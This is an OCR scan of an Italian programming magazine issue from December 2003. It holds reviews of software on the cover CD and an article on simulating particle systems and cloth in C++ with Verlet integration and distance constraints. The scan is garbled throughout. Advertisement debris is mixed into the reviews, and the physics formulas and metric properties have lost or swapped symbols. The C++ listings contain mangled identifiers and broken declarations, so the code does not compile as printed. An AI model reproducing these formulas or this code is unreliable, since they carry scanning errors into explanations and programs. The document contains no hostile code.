Sviluppo di DB relazionali ■ T SOFTWARE SUL CD 



Jaqua 




Gestisci il tuo database tramite linguaggio SQL 



Java Query Analyzer, questo l'acro- 
nimo che si cela dietro nome di 
questo interessante 
software che, attra- 
verso una semplice ed 
efficace interfaccia, 
consente di pilotare le 
principali funzioni di 
qualsiasi database 
compatibile con 

JDBC. 

È possibile gestire pa- 
rallelamente un nu- 
mero illimitato di DB, 
effettuando query, ag- 
giornando e lancian- 
do script SQL in modo 
del tutto indipenden- 
te su tutti i back end. 
Jaqua consente di 



avere una visione complessiva dei 
dati distribuiti nella infrastruttura 




che gestiamo e, grazie ad una nuova 
GUI, consente di generare script SQL 
in pochi secondi. 

L'interfaccia è chiara e di aspetto 
professionale: senza inutili fronzoli 
consente di gestire complesse opera- 
zioni sui DB con relativa semplicità. 
Ottimo per amministratori di sistema 
e sviluppatori, ha un ultimo vantag- 
gio: non ha bisogno di alcuna proce- 
dura di installazione, basta un unzip 
ed è subito pronto a funzionare. 
Realizzato in Java. 



Fig. 1: Ogni operazione sul DB avviene tramite la creazione 
grafica di una Query 



Jaqua 2003 

Produttore: Viktor Moser 
Sul Web: http://jaqua.cjb.net/ 
Prezzo: € 35.00 
Nel CD: jaqua.zip 



GS DataCenerator 1.5 

Per popolare un database con dati realistici 



Un generatore di dati per testare mondo reale. GS DataGenerator può 

la funzionalità di applicazioni e creare grandi volumi di dati per qual- 

basi di dati, attraverso dei dati che siasi base di dati relazionale, simula- 

simulano quelli riscontrabili nel re andamenti di borsa o un business 



<f 7 GSApps 

^S^ j». EIDBAL SQf — " 



«SMTmiEUPRICIllOBS 






,+*&* 



Efficiency thi migli 
innovation 



Wl 







:rw 




Copyright 2QQ3j Global Software Applications, LLC. 
Ali rights reserved. 



workflow, fino a presentare dati con 
tanto di finti errori per testare i DB 
nei casi limite. 

Molto funzionale la possibilità di 
creare dati a partire dagli input defi- 
niti dagli sviluppatori al momento 
della creazione del software. 
Per installare correttamente GS Data- 
Generator è necessario che sul PC 
siano già presenti il .NET Framework, 
nella versione 1.1 ed il MDAC 2.7. 
Versione di prova, limitata a 30 gior- 
ni e alla creazione di 200 record per 
sessione. 



GS DataGenerator 1.5 

Produttore: Global Software 

Applications 

Sul Web: www.qsapps.com 

Prezzo: $ 945 

Nel CD: dg_setup.exe 



Fig. 1: GS DataGenerator consente di creare anche funzioni personalizzate 



http://www.ioprogrammo.it 



Dicembre 2003/19 ^ 



SOFTWARE SUL CD T I Elenco Software sul CD 



PE Explorer 1.93 

Leggere e modificare eseguibili 
Windows 

Un agile disassemblatore che consente di visua- 
lizzare ed (eventualmente) modificare la strut- 
tura interna di file eseguibili per Windows. 
Utilizzato da molti hacker, si rivela di grande 
utilità per gli sviluppatori che vogliano lavorare 
"di fino" sui loro stessi file compilati. Come sor- 
gente accetta file EXE, DLL, DRV BPL, DPL, SYS, 
CPL, OCX, SCR, e qualsiasi altro eseguibile 
Win32. In questa nuova versione, è possibile 
effettuare una migliore ricerca per stringhe ed i 
file XML possono ora essere visualizzati e modi- 
ficati all'interno dell'ambiente. Versione di 
prova valida trenta giorni. 
pexsetup.exe 

Apache Xindice 

Tra i migliori esempi di Database 
XML nativi 

Con "nativo" si indica la caratteristica peculiare 
di questi database di gestire la persistenza e l'a- 
nalisi di documenti XML come tipo di dato fon- 
damentale, contrapposto ad altre soluzioni tra- 
dizionali come i database relazionali in cui il 
dato fondamentale è invece il record. Xindice 
utilizza l'implementazione di Xalan per valuta- 
re le query, in conformità allo standard 1.0. 
Volendo, potete controllare se sono presenti 
versioni più aggiornate collegandovi aU'indiriz- 
zo:http:llxml.apache.orglxindicel. Scompattate 
l'archivio, ad esempio in C. Dichiarate la varia- 
bile d'ambiente XINDICEJÌOME con il valore 
C:\xml-xindice-1.0. Aggiungete al PATH il per- 
corso %XINDICE_HOME%\bin ed il gioco e' 
fatto. Per avviare Xindice, da Windows eseguite 
C:\xml-xindice-1.0\startup.bat Per uscire dal- 
l'applicazione è sufficiente chiudere la finestra 
dos in cui è in esecuzione Xindice. 
xm l-xi nd ice-1 .0.zip 

JProfiler 2.3.3 

Scopri i colli di bottiglia di appli- 
cazioni J2SE e J2EE 

Un sistema semplice ed efficace per testare le 




prestazioni di applicazioni Java, sia J2SE sia 
J2EE. Le indagini alla ricerca dei colli di bottiglia 
coinvolgono più campi: utilizzo della CPU, 
occupazione della memoria e distribuzione del 
carico fra i thread. In questa release sono stati 
risolti alcuni bug presenti nella precedente 
release. Versione di valutazione valida dieci 
giorni. 
jprofiler_windows_2_3_3.exe 

Force 2.0.8 

Fortran: editor e compilatore 
integrati 

Un ambiente di sviluppo integrato che permet- 
te di utilizzare appieno il Fortran77. L'editor 
include tutte le più comuni caratteristiche 
come la colorazione sintattica, le funzioni di 
stampa ed altro. Nel pacchetto è integrato il 
compilatore Fortran G77 ed è possibile genera- 
re applicazioni perfettamente compatibili con 
la piattaforma Win32. 
Gratuito. 
Force2082.exe 

eXist 

Un esempio efficiente e leggero 
di DB XML nativo 

Un database XML nativo open source scritto 
completamente in Java che può essere sia utiliz- 
zato come applicativo stand-alone, sia come 
parte di un'applicazione o di una servlet. 
Exist ha una propria implementazione di valu- 
tazione delle Query che non è ancora completa 
(il progetto è soltanto alla versione 0.9.2! E pro- 
mette la completezza per la versione 1.0), ma 
introduce alcune estensioni, quali la possibilità 
di usare le espressioni regolari. Come sempre, le 
versatilità peculiari di alcuni progetti sono 
comode e allettanti, ma limitano la portabilità: 
utilizzando alcune delle feature specifiche di 
eXist, si finisce per vincolarsi a questo database 
pur continuando ad utilizzare XML:DB come 
API di accesso. 

Scompattate il file eXist-0.92.zip in qualsiasi 
directory, ad esempio C:. Fatto questo, per 
avviare il DB è sufficiente lanciare il file batch 
C:\eXist-0.92\bin\startup.bat, mentre al fine di 
interromperne l'esecuzione è necessario lan- 
ciare C:\eXist-0.9.2\bin\shutdown.bat 
eXist-0.9.2.zip 

Iran Speed Designer 1.5 

Per generare applicazioni Web su 
piattaforma .NET 

Un ottimo aiuto per chi si trova a sviluppare 
applicazioni Web su .NET: è possibile svilup- 
pare una completa applicazione three-tier, 
senza la necessità di scrivere codice. Sofisticate 



interfacce utente ed una robusta logica di 
accesso ai dati, sono automaticamente genera- 
te da Iron Speed, al programmatore è lasciato 
da scrivere solo il codice strettamente relativo 
alla logica applicativa. Scrivere meno codice, 
oltre a ridurre i tempi di sviluppo, consente di 
ridurre anche la possibilità di introdurre errori. 
Piccoli miglioramenti e risoluzione di alcuni 
bug in questa release. 
Versione di prova valida quindici giorni. 
lronSpeedDesignerlnstaller.exe 

Gava SE 1.0 

Sviluppa applicazioni e applet 
multilingua 

Un IDE scritto interamente in Java che consen- 
te di sviluppare applicazioni ed applet Java. A 
testimoniare la bontà dell'ambiente, è da nota- 
re che buona parte di Gava è stato sviluppato 
attraverso Gava stesso. Può essere eseguito su 
qualsiasi piattaforma, a patto che sia presente 
una versione del runtime di Java superiore alla 
1.4. L'interfaccia si presenta semplice e ricca di 
ausili per la scrittura veloce del codice. Adatto 
sia a chi si avvicina a Java solo adesso sia agli 
sviluppatori più esperti. 
Versione di prova valida trenta giorni. 
gavainst.exe 

VCX Library 2.0 

Multi-client audio streaming 
su TCP/IP 

Una libreria di componenti ActiveX per gli svi- 
luppatori di applicazioni audio come chat voca- 
li, Voice over IP sistemi di conferenza a distanza, 
il tutto attraverso un framework di streaming 
audio a bassa latenza. Sono inclusi una serie di 
componenti per la registrazione del suono, per 
il playback, la codifica/ decodifica, il missaggio, 
e molti altri ancora. Degni di menzione sono 
anche i componenti client/ server per la con- 
nessione TCP/IP peer-to-peer e comunicazione 
broadcast. 
Versione dimostrativa. 

niCTImageStudio 1.8.2 

L'immagine delle tue applicazioni 

Un package comprendente 12 controlli che per- 
mettono di implementare qualsiasi tipo di 
manipolazione di immagine nelle applicazioni. 
Tra le funzioni implementate c'è la possibilità di 
importare immagini da scanner, tuner televisi- 
vi, WebCam e videocamere digitali. 
Sono consentite numerosi tipi di conversioni e 
sono disponibili filtri digitali ed effetti fotografi- 
ci di livello professionale. Ecco l'elenco dei for- 
mati supportati: BMR ICO, CUR, ANI, WMF, 
EMF, JPEG, J2K (JPEG2000), GIF, PNG, TIFF 



»> 20/Dicembre 2003 



http://www.ioprogrammo.it 



Elenco Software sul CD T SOFTWARE SUL CD 



PCX, TGA, RAS. 
Versione di prova. 
NCTImageStudio.exe 

Computer Telephony 
Messenger 2.2 

Il telefono a portata di applicazione 

Una versione particolarmente semplificata 
di TAPI ActiveX che consente agli sviluppato- 
ri di integrare nelle funzioni di notifica via 
telefono e tramite spedizione di SMS. Il pac- 
chetto include un server multithreaded che 
consente la ricezione e l'instradamento di 
messaggi. 

Versione di prova valida trenta giorni. 
CTMessenger.exe 

BLS Phonehome 
Control 1.1 

Proteggi le tue applicazioni dalla 
pirateria 

Un controllo che, una volta incluso nelle appli- 
cazioni, si occupa di avvisare via Internet l'avvio 
delle applicazioni stesse. Le informazioni che è 
possibile ricavare danno indicazioni sufficien- 
temente precise per capire in che parte del 
mondo è utilizzata la nostra applicazione. 
Versione trial. 
PhonehomeSetup.exe 

FlowChartX Control 2.0 

Per dare una rappresentazione 
grafica ai flowchart 

Un aiuto sostanziale nella rappresentazione di 
workflow, flowchart, diagrammi di processo, 
diagrammi entità-relazione e tutto quanto rien- 
tra nella visualizzazione grafica di processi. 
LActiveX prevede più di cinquanta forme predi- 
segnate ma è lasciata all'utente la possibilità di 
definirne di nuove. 

Versione dimostrativa, è possibile inserire un 
massimo di trentadue oggetti per diagramma. 
FCXdemo.zip 

Automated SQL Builder 1.2 

Interagire con i database 
semplicemente 

Un controllo ActiveX che consente di costruire 
applicazioni di interazione con DB più facili da 
utilizzare per gli utenti. Le interrogazioni ven- 
gono generate dal controllo a partire dalle 
richieste degli utenti che, anche non conoscen- 
do SQL, possono interagire con qualsiasi base 
di dati. 

Le query sono generate da un motore interno al 
controllo che traduce i criteri introdotti dall'u- 
tente in SQL. 
00019349.exe 



PCQNG 2.0 

Generatore di numeri casuali 

A partire da dati rilevati dall'hardware presente 
nel PC, PCQNG è in grado di generare numeri 
"realmente casuali". Lo sviluppatore accede 
all'ActiveX semplicemente richiedendo un 
numero intero a 32 bit. Usi tipici di PCQNG 
sono nella crittazione di dati, nella generazione 
di chiavi casuali e password. 
Versione di prova valida quattordici giorni. 
PCQNG20Setup.exe 

AxVideoConvert 1.0 pop 

Convertire file video in qualsiasi 
formato 

Attraverso questo controllo è possibile converti- 
re qualsiasi formato di file video: AVI, MPEG1, 
MPEG2 e WMF. Versione dimostrativa. 
axvid10.exe 




Clearlmage COIVI 
Development System 1.0 

Riconoscere codici a barre 
in qualsiasi stato 

Un componente COM che consente di realizza- 
re applicazioni che riconoscano automatica- 
mente codici a barre, a partire da documenti 
anche di bassissima qualità sia a due che a una 
dimensione. 
ClearlmageSDK_1_1_2.exe 

ISAX ListBox 3.0 

Enhance the standardUn control- 
lo ListBox dalle caratteristiche 
avanzate. 

Un notevole potenziamento del controllo 
Listbox standard di Microsoft: possibilità di 
scegliere il colore di ogni singolo item, decider- 
ne l'indentazione, settare la presenza di barre 
di scorrimento orizzontale per la lettura di 
alberi particolarmente lunghi e molto altro 
ancora. 

http://www.isax.biz/Programming.htm 
ISAX XListBox.zip 



KernelCAD ActiveX 
Control 1.1.2127 

Visualizzare e interagire 
con modelli tridimensionali 

KernelCAD è un controllo che consente di 
visualizzare modelli 3D interattivi. Grazie a 
questo controllo potremo creare dei veri e pro- 
pri CAD che si gioveranno di una visualizzazio- 
ne in tempo reale di modifiche e rotazioni 
apportate ai modelli. Versione di prova valida 
trenta giorni. 
DIStudioSetupSE_1_1_2127.EXE 

LIBRERIE JAVA 

AdventNet SIUMP API 4.0 

Monitorare le performance della 
rete 

Un potente set di API che comprende la libreria 
Java SNMP e il protocollo per realizzare applica- 
zioni di gestione della rete. Potente e sicuro, 
questo set di api include le tre versioni di SNMP 
(1.0, 2c e 3.0) in un'unica API. Particolarmente 
adatto per il monitoraggio delle performance 
dei vari soggetti presenti in rete. Versione di 
prova valida quarantacinque giorni. 
AdventNetSNMPAPI 4.exe 

Adaptive Poker 

Per tentare la sorte con stile 

Un applet che consente di giocare a poker in 
modo grafico e supportando un massimo di 
dieci giocatori collegati contemporaneamente. 
E' sufficiente fare l'unzip del file e fare un dop- 
pio clic su start.jar. E' necessario che sia instal- 
lata una virtual machine 1.3 o superiore. 
apoker20.zip 

Stocks Ticker 

Monitorare la borsa 

Un componente che consente di realizzare 
applicazioni Java e siti Web che integrino la 
capacità di monitorare l'andamento dei titoli 
azionari. Versione dimostrativa. 
demo.zip 

Javawatch 

Tieni sotto controllo il tuo Web 
Server 

Un tool gratuito che consente di tenere sotto 
controllo tutte le attività del tuo Web Server. Il 
monitoraggio avviene in real time e, tra gli altri, 
controlla: l'hits table, i visitatori, il visited paths 
table, la banda passante occupata ed altre fun- 
zioni vitali. Il tutto realizzato in un comodissi- 
mo applet Java. 
javawatch.zip 



http://www.ioprogrammo.it 



Dicembre 2003/21 ► 



SOLUZIONI T ■ Fisica 



Gli Algoritmi nella fisica delle particelle 

Simulazioni per 
sistemi di particelle 

Nuovi modelli fisici di sistemi di particelle sono stati studiati e 
attuati; essi rendono la simulazione più efficace e veloce, 
esaminiamone i contenuti e l'implementazione. 



PREREQUISITI 

L'ambito di applicazio- 
ne delle leggi della 
fisica è un sistema tri- 
dimensionale. Nel trat- 
tare le variabili in 
gioco si distinguono 
vettori e scalari. I primi 
sono la posizione x, la 
velocità v, l'accelera- 
zione a e la forza f; ad 
esempio x=(xx, xy, xz), 
ossia è costituita da tre 
componenti spaziali; 
gli scalari sono il 
tempo t e la massa m. 
Le fondamentali leggi 
della cinematica da 
conoscere sono: 



v= Ax/At 

a= Av/At 

f=m*a 

Definiscono la velocità 
come rapporto tra 
variazione di spazio 
rispetto al tempo, l'ac- 
celerazione come 
variazione di velocità 
rispetto al tempo ed 
infine la forza come 
prodotto tra massa e 
accelerazione. 



Giochi di azione, prodotti multimediali inte- 
rattivi, simulazioni in generale sono tutte 
applicazioni per computer che hanno in 
comune la condivisione di modelli fisici. Ad esem- 
pio, un buon gioco di automobili non dipende dalla 
sola grafica che lo riproduce o dall'hardware poten- 
te che lo ospita. I modelli che simulano i movimenti 
e le collisioni sono di eguale importanza. Anche su 
questo punto lo stato dell'arte è in contìnuo svilup- 
po, ed è interessante notare come si sia evoluto. 
Modelli di ultima generazione sono in grado da un 
lato di essere sufficientemente esaustivi, rendendo 
la simulazione adeguatamente verosimile, dall'altro 
sono snelli, che garantisce all'applicazione che ne 
fa uso una maggiore velocità. È proprio la seconda 
qualità descritta che ci apprestiamo ad esaminare. 
Essa è particolarmente gradita dall'intera platea che 
fa uso massiccio di modelli fisici. Se è vero che gli 
hardware continuano un costante, quanto inesora- 
bile incremento di potenza, è pur vero che le rap- 
presentazioni grafiche, e i moderni rendering, sono 
sempre più esigenti in termini di risorse (sia memo- 
ria che velocità), cosicché ci troviamo, attualmente, 
davanti alla paradossale situazione per la quale i 
vecchi modelli fisici non sono più adeguati per 
molte circostanze. A questa considerazione si deve 
aggiungere il fatto che in molti casi sono richieste 
buone prestazioni per applicazioni interattive, per le 
quali la terminazione o il cambio di situazione può 
avvenire in qualsiasi momento, ed ecco che sorge la 
necessità di sviluppare nuovi algoritmi risolutori. 
Come qualcuno dei nostri lettori, matematici o fisi- 
ci, avrà intuito, si tratta di attuare delle approssima- 
zioni alle leggi della fisica per rendere più "agili" le 
quantità di dati e le operazioni matematiche che le 
trattano. Ad ogni modo voglio subito tranquillizzare 
tutti sottolineando che non è richiesta alcuna cono- 
scenza della matematica e della fisica se non quella 
scolastica. Partiremo dal principio e specificheremo 



tutte le ipotesi semplificative e le scelte algoritmiche 
adottate. La costruzione del programma verrà svi- 
luppata nel linguaggio più appropriato per la situa- 
zione il C++. 



I PRIMI PASSI 
IMPLEMENTATIVI 

La costruzione del nuovo modello per un sistema di 
particelle si basa sulla coppia di equazioni che fanno 
riferimento alle canoniche leggi della cinematica. I 
valori attuali x e v vengono calcolati rispetto a valori 
di partenza xl e vi su un intervallo di tempo Dt. 

x=xl+vl *Af 
v=vl+a*At 

Ad ogni modo utilizzeremo una variazione del pre- 
cedente modello che tende a discretizzare il sistema 
di equazioni. In particolare, si tiene conto dei valori 
precedenti di posizione e si effettuano approssima- 
zioni. Si adotta il metodo di integrazione di Verlet 
che è molto diffuso nel campo della simulazione 
molecolare dinamica. Se indichiamo con xl e xO 
rispettivamente due posizioni in corrispondenza di 
due istanti di tempo differenti ti e tO, possiamo scri- 
vere l'equazione del moto uniformemente accelera- 
to come segue: 

x-2*xl-x0+a*hf 

Si presuppone che gli istanti di tempo, che cronolo- 
gicamente si presentano come W, ti e t siano ca- 
denzati dall'intervallo Af, cosicché si possono scrive- 
re le due equazioni approssimate della velocità co- 
me segue: 

V=(x-Xl)/At 



»> 22/Dicembre 2003 



http://www.ioprogrammo.it 



Fisica ■ T SOLUZIONI 



Vl= (Xl-XO)IM 

che sostituite alle equazioni di partenza ci fornisco- 
no l'integrazione di Verlet. Questo modello non si 
può considerare molto preciso ma è comunque sta- 
bile e soprattutto veloce. Definito modello si tratta 
di iterare l'equazione producendo ad ogni ciclo 
nuovi valori delle posizioni. Per cui, nel generico 
passo dell'iterazione, dopo aver calcolato il nuovo 
valore della xl, secondo Verlet si devono aggiornare 
i valori per poter calcolare il successivo spostamen- 
to, così xO diventa xl (xO-xl). Il successivo passo è 
quello dell'implementazione. Fondamentale è la 
scelta della struttura dati, che nel caso specifico pre- 
vede "naturalmente" l'utilizzo di vettori. Nella classe 
C++ proposta tali vettori sono visti come ulteriori 
classi; per essi bisogna garantire una buona efficien- 
za di funzionamento che si può attuare con l'uso di 
appropriate liste a puntatori, e un set di operazioni 
come il prodotto scalare e il prodotto vettoriale da 
ottenere mediante overloading di operatori. Ecco il 
codice: 

// Simulazione di sistemi di particelle 

// Classe di base 

class Sistemadiparticelle { 

vettore m_xl[NUM_PARTICELLE]; // Posizione corrente 

vettore m_xO[NUM_PARTICELLE]; // Posizione precedente 

vettore m_a[NUM_PARTICEH_E]; //Accumulatore di forza 

vettore m_gravita; // Gravità 

float m_deltat; 
public: 

void passoQ; 

private: 

void verletQ; 

void vincoli(); 

void forza(); 



} 



La classe che ci apprestiamo a costruire è sistemadi- 
particelle. Le posizioni si riferiscono a quella corren- 
te identificata con xl e quella precedente xO. Si 
notano, oltre alla presenza della costante NUM_ 
PARTICELLE, che indica la dimensione dei vettori, 
ossia il numero di particelle del sistema, che potreb- 
be essere anche implementata come membro stati- 
ci {static); una serie di vettori e una variabile che 
contengono la posizione corrente e precedente delle 
particelle, della forza accumulata e dell'accelerazio- 
ne; si precisa che queste ultimi valori sono vettori 
poiché possono assumere differenti valori per i 
diversi componenti del sistema. Si distinguono poi i 
membri pubblici e privati della classe. Tra i primi vi 
è la sola funzione passo che genera i nuovi valori 
secondo il modello che stiamo costruendo, richia- 
mando in sequenza le funzioni private. Tra membri 
privati vi distìnguono la funzione verlet che riprodu- 



ce il modello descritto, vincoli che tiene conto dei 
vincoli del particolare sistema che andiamo a simu- 
lare e forza che calcola la forza applicata alle singole 
particelle del sistema. Le questioni più tecniche, 
riguardanti ad esempio l'implementazioni della 
classe vettore o costruttori, non vengono riportate 
per ovvie ragioni di spazio e si rimanda loro com- 
pletamento alla buona volontà del lettore; propongo 
solo dei consigli. La classe vettore è un array unidi- 
mensionale di puntatori, in cui ad ogni elemento 
sono "appesi" tre nodi che indicano le tre compo- 
nenti spaziali x, y e z. Importante è sviluppare un 
overload sulle due operazioni di prodotto e somma 
(*, +) con le quali si possono fare il prodotto vettoria- 
le e scalare per la prima in funzione degli operandi 
coinvolti (se entrambi array allora vettoriale, se uno 
è costante allora scalare) e la somma tra vettori per 
la seconda. Passiamo all'implementazione di due 
membri privati: 

// Integrazione di verlet per passi 
void sistemadiparticelle: :verlet() { 

for (int i=0; i<NUM_PARTICELLE; i+ + ) 

{ vettore& xl = m_xl[i]; 
vettore temp xl; 
vettore& xO = m_xO[i]; 
vettore& a = m_a[i]; 

xl += xl - xO + a*m_deltat*m_deltat; 
xO=temp; } 

} 

// Funzione che accumula la forza per ogni particella 

void sistemadiparticelle: :forza() 

{ // tutte le particelle subiscono l'azione della gravità 

for (int i=0; i<NUM_PARTICELLE; i+ + ) 

{ m_a[i] = m_gravita; } 

} 

// Funzione pubblica per l'attuazione di un singolo passo 

void sistemadiparticelle: :passo() 

{ forzaQ; 

verlet(); 

vincoli(); } 

L'implementazione segue la descrizione proposta. 
Di seguito, al momento della definizione del model- 
lo da implementare, verrà proposto il metodo vinco- 
UO. 



UN'APPLICAZIONE 
PRATICA 

Una volta definite le strutture di riferimento, ed i 
metodi elementari che governano le azioni previste 
dal modello, è il caso applicare tali metodi ad una 
situazione di maggiore complessità. Si vuole costrui- 
re un sistema di particelle che possono tra loro colli- 
dere e che siano poste in un apparato di vincoli; il 
che, detto in termini più comprensibili, e meno 




GLOSSARIO 



OVERLOADING 

Si ha quando un 
operatore, una 
funzione o comunque 
un oggetto assumono 
nome già esistenti al 
fine di sovrapporre 
metodi simili e rendere 
alcune operazioni più 
intuitive. 



http://www.ioprogrammo.it 



Dicembre 2003/23 ► 



SOLUZIONI T ■ Fisica 



PER SAPERNE 
DI PIÙ 



È possibile trovare utili 

riferimenti in alcuni 

articoli usciti sempre 

nella sezione soluzioni 

di ioProgrammo scritti 

dal sottoscritto. 

I numeri a cui vi 

rimando sono il 56, in 

cui si affronta la 

simulazione della forza 

di gravità, il 57 in cui 

vengono trattati alcuni 

algoritmi per la 

simulazione di 

superfici deformabili 

come i tessuti, ed 

infine il numero 58 

dove la simulazione si 

incentra sui corpi 

rigidi. Alcuni di questi 

articoli sono anche 

riportati al sito di 

riferimento della 

rivista 

www.ioproqrammo.net . 

Per l'implementazione 

in C++ è da considerare 

un valido riferimento 

"C++ reference" 

(collana "i 5€" di 

Edizioni Master). 




Fig. 1: Insieme di particelle interne ad un cubo. 

accademici, si traduce in una certa quantità di parti- 
celle poste all'interno di una scatola. Ogni singola 
particella è dotata di forza che si può immaginare 
essere prodotta da una molla. Come accennato, il 
modello che verrà realizzato è differente dai cono- 
sciuti schemi di simulazione. Si farà riferimento a 
una struttura di proiezioni che circoscrive gli ostaco- 
li. Procedendo per proiezioni possiamo muovere 
punti per piccole distanze finché sono liberi dagli 
ostacoli, il che si realizza, usualmente, muovendo la 
particella in perpendicolare rispetto alla superficie 
di collisione. Un esempio di implementazione del 
metodo vincoliQ, predisposto per attuare la costri- 
zione descritta, può essere un insieme di particelle 
obbligate a rimanere in una scatola cubica. Se le 
misure dei due vertici opposti sono (0,0,0) e 
(100,100,100) allora il codice si può sviluppare come 
segue. 

// Implementazione di particelle in un cubo 
void sistemadiparticelle: :vincoli() 

{ for (int i=0; i<NUM_PARTICELLE; i++) 

{ vettore& xl = m_xl[i]; 

xl=vmin(vmax(xl, vettore(0,0,0)), vettore( 

100,100,100)); } 

} 

I due operatori vmin e vmax vengono applicati en- 
trambi a due vettori e restituiscono rispettivamente 
i vettori "minori" e "maggiori". I due aggettivi prece- 
denti sono posti tra virgolette poiché in questo con- 
testo hanno un significato particolare. Vengono 
valutate le diverse componenti dei vettori e si sele- 
ziona l'array che presenta la componente minore (o 
maggiore nel secondo caso). Il fulcro della funzione 
è il calcolo del valore corrente della posizione xl. È 
facile verificare come se il punto è interno al cubo 
viene assegnato a xl la posizione stessa della parti- 
cella, altrimenti essa viene "schiacciata" su un lato 
della scatola. L'appiattimento su una superficie del 
cubo è dovuta al coefficiente nullo di urto che è 
implementato nell'espressione che genera xl. Un 
modello così definito può essere, con profitto, utiliz- 
zato per simulare sia corpi rigidi che corpi elastici 
come tessuti, si tratta di tarare, in modo appropria- 
to, le molle del sistema, coefficienti che producono 



rigidità saranno usati per i solidi, mentre altri valori 
che definiscono forze deboli sono adatte a simulare 
tessuti. 



SIMULAZIONE 
DI TESSUTI 

Adottando come modello di riferimento il sistema di 
integrazione di verlet associato ad un set di vincoli, 
si possono riprodurre differenti realtà fisiche. 
Nell'esempio precedente abbiamo visto come sia 
possibile descrivere il moto di particelle all'interno 
di un box, in cui i punti non rimbalzano con gli urti 
alle pareti. Per simulare un tessuto, obiettivo del pre- 
sente paragrafo, è necessario riformulare i vincoli, o 
meglio aggiungerne di nuovi. 
Un breve inciso è necessario per puntualizzare che 




Fig. 2: Una bandiera è un classico esempio di tessuto. 

un qualsiasi tessuto può essere visto come un insie- 
me di punti, ovviamente, maggiore è il numero di 
questi punti e migliore sarà l'approssimazione che si 
ottiene, anche se peraltro sarà inevitabile una 
memorizzazione più pesante quindi una perfor- 
mance più lenta. Comunque indipendentemente 
dal numero di punti scelti per simulare la tecnica 
rimane invariata. Concentriamo, infatti, l'analisi a 
soli due punti che segnaliamo come xp e xq. Un vin- 
colo (ancora non legato in modo specifico ai tessuti) 
sarà imporre una distanza prefissata tra le due parti- 
celle, supponiamo 10. Assumendo la metrica eucli- 
dea, il vincolo assume la forma: 

\xp-xq\=10 

Il soddisfacimento di tale vincolo è indispensabile 
per mantenere invariate le distanze tra le varie par- 
ticelle, poiché altrimenti, anche ponendo inizial- 
mente i vari punti in modo corretto dopo poche ite- 
razioni questi si "sparpaglierebbero". Un modo per 
implementare l'espressione precedente è mostrato 
di seguito in pseudo codifica: 

// Nuovi vincoli 

cin>>lunghezzafix; 

delta=xp-xq; 

lunghezza =sqrt(delta*delta); 



»> 24/Dicembre 2003 



http://www.ioprogrammo.it 



Fisica ■ T SOLUZIONI 



diff=(lunghezza-lunghezzafix)/lunghezza; 

xl-=delta*0.5*diff; 

x2+=delta*0.5*diff; 



Da notare che delta è un vettore, cosicché, il prodot- 
to delta*delta è un prodotto scalare che genera un 
numero la cui radice è la distanza tra i due punti in 
esame. Con lunghezzaflx si indica la distanza che fa 
da vincolo per le due particelle p e q, ad esempio, il 
valore 10. La situazione ottenuta si può vedere come 
prodotta dalla presenza di una molla rigida di lun- 
ghezza 10 incardinata sui due punti. Giustapponen- 
do i codici relativi ai due vincoli proposti si ottiene 
un sistema di vincoli che possono essere soddisfatti 
per passi secondo la filosofia proposta da Jacobi o 
Gauss-Siedel. Ad ogni iterazione vengono soddisfat- 
ti vincoli locali, e dopo un numero finito di iterazio- 
ni, l'intero sistema è stabile. Si considera, di volta in 
volta, una configurazione migliore, tecnicamente si 
dice che si esamina ad ogni passo un problema rilas- 
sato. Ma riprendiamo la costruzione del modello per 
il tessuto. Si scorgono due problemi, che come 
vedremo, magicamente vengono risolti con un'uni- 
ca soluzione (è il caso di dire "prendere due piccioni 
con una fava"). La prima è una questione tecnica 
che ci induce a non usare la funzione sqrt, poiché 
essa presuppone una serie molto cospicua di opera- 
zioni elementari che la rendono un po' "pesante", se 
si pensa che deve essere ripetuta per molte coppie di 
punti si può dedurre come sia importante risolvere il 
problema. La seconda faccenda riguarda il fatto che 
finché si mantiene fissa la distanza tra due punti il 
sistema di particelle si adatta male alla rappresenta- 
zione di un tessuto, si intuisce come sia preferibile 
che tale distanza sia anche in minima parte variabi- 
le. La soluzione è rappresentata dalla serie di Taylor 
troncata al primo termine (metodo usato per 
approssimare funzioni). In tal modo si approssima 
la funzione radice quadrata (che non sarà precisa 
garantendo quel minimo di flessibilità richiesta) e 
sarà più facile da calcolare poiché si riduce a pro- 
dotti (operazioni elementari rispetto alla radice). Il 
risultato tradotto in pseudo-codifica è: 

// Nuovi vincoli per particelle di tessuto 

cin>>lunghezzafix; 

delta=xp-xq; 

delta* = lunghezzafix*lunghezzafix/(delta*delta+ lun- 

ghezzafix*lunghezzafix)-0.5; 

xl-=delta; 

x2+=delta; 

Come si può notare si tratta di cambiare la sola for- 
mula che calcola il delta. Simulazione di laboratorio 
hanno mostrato come l'asserto di lacobi sia valido 
per questo modello poiché si perviene in un nume- 
ro finito di iterazioni a situazioni di stabilità. Un ulte- 



riore sviluppo implementativo si ottiene conside- 
rando i vincoli variabili per ogni coppia, in tal caso 
bisogna attrezzarsi strutturando un nuovo vettore. 
Gli algoritmi di soddisfacimento dei vincoli si devo- 
no, quindi, adeguare proponendo un nuovo ciclo 
innestato in cui tali vincoli vengono scanditi. 
Variando alcuni particolari del metodo si possono 
simulare altri fenomeni fisici. Una pianta si genera 
scegliendo opportunamente le coppie distribuite su 
un sistema più fitto di punti. 

CONCLUSIONI 

I modelli proposti sono scaturiti da anni di studi su 
come approssimare le leggi fisiche senza perdere 
attendibilità per il fenomeno fisico. Certo lo stato 
dell'arte sul filone di studio proposto è molto più 
avanzato e ciò che è stato esaminato stabilisce i 
punti di partenza, che comunque sono da ritenersi 
sufficienti per individuare le metodologie sottostan- 
ti che ne governano il loro sviluppo. Nel prossimo 
appuntamento si integrerà l'argomento con nuovi 
modelli, come quello per corpi rigidi, e si darà una 
visione più ampia delle argomentazioni trattate. Vi 
aspetto quindi per la seconda parte. 

Fabio Grimaldi 



U DISTANZE 

La distanza tra due punti x e y, indicata con, d(x,y) è una misura di 
similarità e come tutte le misure di similarità definisce una metrica. Una 
metrica è tale se sono verificate quattro proprietà: 

1. Simmetria d(x,y) = d(y,x) > 
I 2. Diseguaglianza triangolare. A tale scopo si consideri una terza entità z 
d(x,y)*d(x,z) + d(y,z) 

3. Distinguibilità di non identità 
Se d(x,y) * => x * y 

4. Indistinguibilità di identità. Per due elementi identici x e x' 
d(x,x') = 

Ma le misure di distanza sono molteplici. La prima è la distanza euclidea o 
L2 essa è la più conosciuta ed è comunemente detta distanza. 
Sia Xjj ( il valore dell'attributo k per l'oggetto /, e sia p il numero di 
attributi, allora si definirà dj-. distanza euclidea, tra /" due oggetti / ey, la 
